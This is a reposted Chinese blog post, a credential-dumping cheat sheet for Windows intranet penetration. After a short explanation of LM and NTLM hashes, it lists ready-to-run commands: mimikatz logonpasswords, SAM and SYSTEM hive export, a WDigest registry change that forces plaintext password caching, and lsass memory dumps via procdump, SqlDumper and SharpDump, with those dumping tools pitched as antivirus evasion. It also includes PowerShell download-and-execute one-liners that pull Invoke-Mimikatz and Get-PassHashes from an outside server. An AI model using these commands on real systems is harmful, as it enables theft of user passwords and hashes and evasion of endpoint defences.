【内网渗透】Windows Hash密码抓取总结

windows 密码

windows hash由二部分组成,分别是LM HASH和NTLM HASH,这是对同一个密码的两种不同的加密方式。

组成为:username:RID:LM-HASH值:NTLM-HASH值

NTLM-Hash的生成方法为:

1.将明文口令转换成十六进制的格式

2.转换成Unicode格式,即在每个字节之后添加0x00

3.对Unicode字符串作MD4加密,生成32位的十六进制数字串

例如

账户密码为cseroad@2008

十六进制为 637365726f61644032303038

Unicode字符串为 63007300650072006f006100640040003200300030003800

NTLM-Hash为 82c58d8cec50de01fd109613369c158e

LM-Hash(LAN Manager Hash)是微软的一种散列加密算法,本质为DES加密,具体原理参考LM-Hash && NTLM-Hash

当LM Hash是AAD3B435B51404EEAAD3B435B51404EE 这表示空密码或者是未使用LM_HASH。

这里不做过多解释,因为从Windows Server 2008版本开始,系统禁用了LM hash。

获取hash的工具

原理:lsass.exe进程用于实现windows安全策略(本地安全策略和登录策略)。可以使用工具将散列值和明文密码从内存的lsass.exe进程或者SAM文件中导出。SAM文件保存在C:\Windows\System32\config目录下,该文件被锁定,不允许复制。

以下工具都以管理员身份运行

QuarksPwDump工具

该工具支持Windows XP/2003/Vista/7/2008版本,且相当稳定。

可以抓取windows平台下多种类型的用户凭据,包括:本地帐户、域帐户、缓存的域帐户。

下载地址:https://codeload.github.com/quarkslab/quarkspwdump/zip/master

完整源代码可以从https://github.com/quarkslab/quarkspwdump获取

Quarkspwdump.exe --dump-hash-local 导出用户的NTLM Hash

## LaZagne工具

LaZagne是一款用于检索大量存储在本地计算机密码的开源应用程序。

该工具不仅能抓取windows密码,还可以抓取浏览器中的缓存的密码、SVN密码、wifi密码、邮箱密码等功能,适用于windows、Linux、MAC

下载地址 https://github.com/AlessandroZ/LaZagne

运行命令

LaZagne.exe all

## getpass.exe工具

该工具由闪电小子根据mimikatz编译,可以直接获取明文密码。直接运行getpass.exe即可。

## Pwdump7.exe工具

拷贝libeay32.dll和Pwdump7.exe在同一目录下直接运行Pwdump7.txt即可

## wce工具

该工具分为32位、64位。它可以列举登陆会话,并且可以添加、改变和删除相关凭据。命令为

wce.exe -w 读取系统明文密码

“` wme.exe -l 获取hash

 
<figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"> <img data-ratio="0.25217391304347825" data-src="https://mmbiz.qpic.cn/mmbiz_jpg/rTicZ9Hibb6RUx4qHzPTNW0JBIq5Cjhj0v139IV5GjMFdicurM0jZSXYanf4BtQt3hOw1MxsQXcg1T63OiadjL2uMg/640?wx_fmt=jpeg" data-type="jpeg" data-w="690" style="display: block;margin-right: auto;margin-left: auto;width: auto;"> <figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"> <br> </figcaption> </figure> ## powershell 脚本
 Get-PassHashes.ps1脚本 
cmd直接运行命令
 

powershell IEX (New-Object Net.WebClient).DownloadString(‘http://47.94.80.xxx/ps/Get-PassHashes.ps1’);Get-PassHashes

 
<figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"> <img data-ratio="0.18115942028985507" data-src="https://mmbiz.qpic.cn/mmbiz_jpg/rTicZ9Hibb6RUx4qHzPTNW0JBIq5Cjhj0vvic9WXePdrpRFsSefCaJTicnVsT4pFFeZeiadf7YIxK6OmaRq5zcSIO8A/640?wx_fmt=jpeg" data-type="jpeg" data-w="690" style="display: block;margin-right: auto;margin-left: auto;width: auto;"> <figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"> <br> </figcaption> </figure> Get-PassHashes.ps1 脚本 
cmd直接运行命令
 

powershell iex (New-Object Net.WebClient).DownloadString(‘http://47.94.80.xxx/nishang/Gather/Get-PassHashes.ps1’);Get-PassHashes

 
<figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"> <img data-ratio="0.1753623188405797" data-src="https://mmbiz.qpic.cn/mmbiz_jpg/rTicZ9Hibb6RUx4qHzPTNW0JBIq5Cjhj0v01EnIoGlTbeNkgBjSrSic44jh6u3HKGXVnWjv1icw5kPCpoPtTiaE6k9A/640?wx_fmt=jpeg" data-type="jpeg" data-w="690" style="display: block;margin-right: auto;margin-left: auto;width: auto;"> <figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"> <br> </figcaption> </figure> Invoke-Mimikatz.ps1 脚本 
依然使用的mimikatz读取密码
 

powershell IEX (New-Object Net.WebClient).DownloadString(‘http://47.94.80.xxx/ps/Invoke-Mimikatz.ps1’); Invoke-Mimikatz

 Out-Minidump.ps1 脚本 
获取lsass.exe的dumps
 

powershell IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Out-Minidump.ps1’); “Get-Process lsass | Out-Minidump”

 

![eb9ac618251325c64078b2ca95317752]
再用mimikatz从dumps中获取明文。
 

mimikatz.exe “sekurlsa::minidump lsass_528.dmp” “sekurlsa::logonPasswords full” exit

 ## mimikatz工具
 
可用来抓取hash以及明文。命令为
 

mimikatz.exe “privilege::debug” “sekurlsa::logonpasswords full” “exit”

 
<figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"> <img data-ratio="0.6507246376811594" data-src="https://mmbiz.qpic.cn/mmbiz_jpg/rTicZ9Hibb6RUx4qHzPTNW0JBIq5Cjhj0vYux6uHjickdfvKibhsQD53aUkuwibcZlspArzicEy7aF4l6JdQ2eSqpN7A/640?wx_fmt=jpeg" data-type="jpeg" data-w="690" style="display: block;margin-right: auto;margin-left: auto;width: auto;"> <figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"> <br> </figcaption> </figure> 
当系统为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,此时可以通过修改注册表的方式抓取明文,但需要用户重新登录后才能成功抓取。修改注册表命令为:
 

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

 
重启后可抓取hash
 ## SAM表获取hash
 
导出导出SAM和System文件
 

reg save HKLM\SYSTEM sys.hiv
reg save HKLM\SAM sam.hiv

 
将注册表的SAM、System文件导出到本地磁盘。使用mimikatz读取SAM和System文件。可获取NTLM Hash
 

mimikatz.exe “lsadump::sam /system:sys.hiv /sam:sam.hiv” exit

 
<figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"> <img data-ratio="0.572463768115942" data-src="https://mmbiz.qpic.cn/mmbiz_jpg/rTicZ9Hibb6RUx4qHzPTNW0JBIq5Cjhj0vZOFFzSicMialO9TMJ3owjurG6iaibphKAU5U7Px3ib9tCPvPmYkR1I5pPoQ/640?wx_fmt=jpeg" data-type="jpeg" data-w="690" style="display: block;margin-right: auto;margin-left: auto;width: auto;"> <figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"> <br> </figcaption> </figure> ## metaploit 框架
 
在得到session的基础上,尝试抓取hash值。metasploit支持多种hash获取。
 
1.hashdump命令在system权限下,可抓取hash
 

![6446812138d342c0566ef3a40154c587]
2.windows/gather/smart_hashdump 脚本可以获取域内的用户 hash
 
<figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"> <img data-ratio="0.4115942028985507" data-src="https://mmbiz.qpic.cn/mmbiz_jpg/rTicZ9Hibb6RUx4qHzPTNW0JBIq5Cjhj0vn9ctZRSmFFGGR5CcIFQyO7pLtHuZ91W7jicEsRkH0BMibs8ib1RdKFW6g/640?wx_fmt=jpeg" data-type="jpeg" data-w="690" style="display: block;margin-right: auto;margin-left: auto;width: auto;"> <figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"> <br> </figcaption> </figure> 
并将所有hash导出到/root/.msf4/loot/20200218155855_default_10.211.55.16_windows.hashes_396577.txt
 
3.load mimikatz 命令加载mimikatz
 

msv 获取hash
kerberos 获取明文
ssp 获取明文信息
tspkg 尝试检索tspkg凭据
wdigest 尝试检索wdigest凭据
mimikatz_command -f samdump::hashes 获取hash
mimikatz_command -f sekurlsa::searchPasswords 获取明文密码

 
<figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"> <img data-ratio="0.25217391304347825" data-src="https://mmbiz.qpic.cn/mmbiz_jpg/rTicZ9Hibb6RUx4qHzPTNW0JBIq5Cjhj0vlWTBjfbrmDXFcDdOwCyKGLQ8BwGF5do1ekjOjn7h9SxW5ibVCOb1Xuw/640?wx_fmt=jpeg" data-type="jpeg" data-w="690" style="display: block;margin-right: auto;margin-left: auto;width: auto;"> <figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"> <br> </figcaption> </figure> 
<figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"> <img data-ratio="0.1492753623188406" data-src="https://mmbiz.qpic.cn/mmbiz_jpg/rTicZ9Hibb6RUx4qHzPTNW0JBIq5Cjhj0vmp2WPXXBJ1PXYHQu2vDWlWFsUwo2pEdibrT3GQbLejJRPbcohiaoPCHw/640?wx_fmt=jpeg" data-type="jpeg" data-w="690" style="display: block;margin-right: auto;margin-left: auto;width: auto;"> <figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"> <br> </figcaption> </figure> ## cobalt strike框架
 
<figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"> <img data-ratio="0.5" data-src="https://mmbiz.qpic.cn/mmbiz_jpg/rTicZ9Hibb6RUx4qHzPTNW0JBIq5Cjhj0vHGxBhOQuk3x77dY3yF56D8AuhDyYMIrSCgrP9qrzFrPrY3G1ROBvvQ/640?wx_fmt=jpeg" data-type="jpeg" data-w="690" style="display: block;margin-right: auto;margin-left: auto;width: auto;"> <figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"> <br> </figcaption> </figure> 

Dump Hashes #获取hash
Run Mimikatz #运行 Mimikatz

 
在beacon在执行的命令对应
 

hashdump 获取hash值
logonpasswords 相当于mimikatz_command -f sekurlsa::searchPasswords

 
<figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"> <img data-ratio="0.7884057971014493" data-src="https://mmbiz.qpic.cn/mmbiz_jpg/rTicZ9Hibb6RUx4qHzPTNW0JBIq5Cjhj0vPEXEs0PSLakfBicESXVsURs2ZW1ibNbhtXDfHyywHlSRicfZWxEOymaEg/640?wx_fmt=jpeg" data-type="jpeg" data-w="690" style="display: block;margin-right: auto;margin-left: auto;width: auto;"> <figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"> <br> </figcaption> </figure> ## Empire框架
 
Empire也是内置了mimikatz来读取hash。
 ## 免杀
 prodump.exe工具 
该工具是微软出品的工具,具有一定免杀效果。可以利用procdump把lsass进程的内存文件导出本地,再在本地利用mimikatz读取密码。
 

procdump.exe -accepteula -ma lsass.exe lsass.dmp 导出lsass.dmp

 
再使用mimikatz读取密码
 

mimikatz.exe “sekurlsa::minidump lsass.dmp” “sekurlsa::logonPasswords full” exit

 
需要注意的是从目标机器导出的lsass.dmp需要在相同系统下运行。
 
<figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"> <img data-ratio="0.691304347826087" data-src="https://mmbiz.qpic.cn/mmbiz_jpg/rTicZ9Hibb6RUx4qHzPTNW0JBIq5Cjhj0vfg8jDc6venibEjHbaBYYPBG6jaVmogWeFmmaMIfWEtEzbibkTfbhBiaOw/640?wx_fmt=jpeg" data-type="jpeg" data-w="690" style="display: block;margin-right: auto;margin-left: auto;width: auto;"> <figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"> <br> </figcaption> </figure> SqlDumper.exe工具 
该工具也是微软出品,也具备一定免杀能力。
 
SqlDumper.exe默认存放在C:\Program Files\Microsoft SQL Server\number\Shared,number代表SQL Server的版本。如果目标机器没有安装SQL Server,自己上传SqlDumper.exe
 

tasklist /svc | findstr lsass.exe 查看lsass.exe 的ProcessID

 

Sqldumper.exe ProcessID 0 0x01100 导出dump文件

 
mimikatz加载dump文件
 

mimikatz.exe “sekurlsa::minidumpSQLDmpr0002.mdmp” “sekurlsa::logonPasswords full” exit

 
<figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"> <img data-ratio="0.5521739130434783" data-src="https://mmbiz.qpic.cn/mmbiz_jpg/rTicZ9Hibb6RUx4qHzPTNW0JBIq5Cjhj0v2sUaFC4ibcvIAjFiaq0XvBRsYU55ej6GFhnkeK3tbT70wBItEfWpKAKA/640?wx_fmt=jpeg" data-type="jpeg" data-w="690" style="display: block;margin-right: auto;margin-left: auto;width: auto;"> <figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"> <br> </figcaption> </figure> SharpDump工具 
Out-Minidump.ps1 脚本C#版本编译后的结果。
 

![5370d62a34f4e946d7a2a5cdaccdfc56]
把lsass.exe进程数据导出来dump的文件的后缀名为bin,拖到本地机器上后,先重命名为 zip,然后再解压并使用本地的mimikatz进行读取。
 

mimikatz.exe “sekurlsa::minidump debug520” “sekurlsa::logonPasswords full” “exit”

文章转载自zhihuifly.com,若有侵权,请联系Se37

THE END
喜欢就支持一下吧
点赞676
分享
评论 抢沙发
Admin的头像-Se37一安全动态分享

昵称

取消
昵称表情代码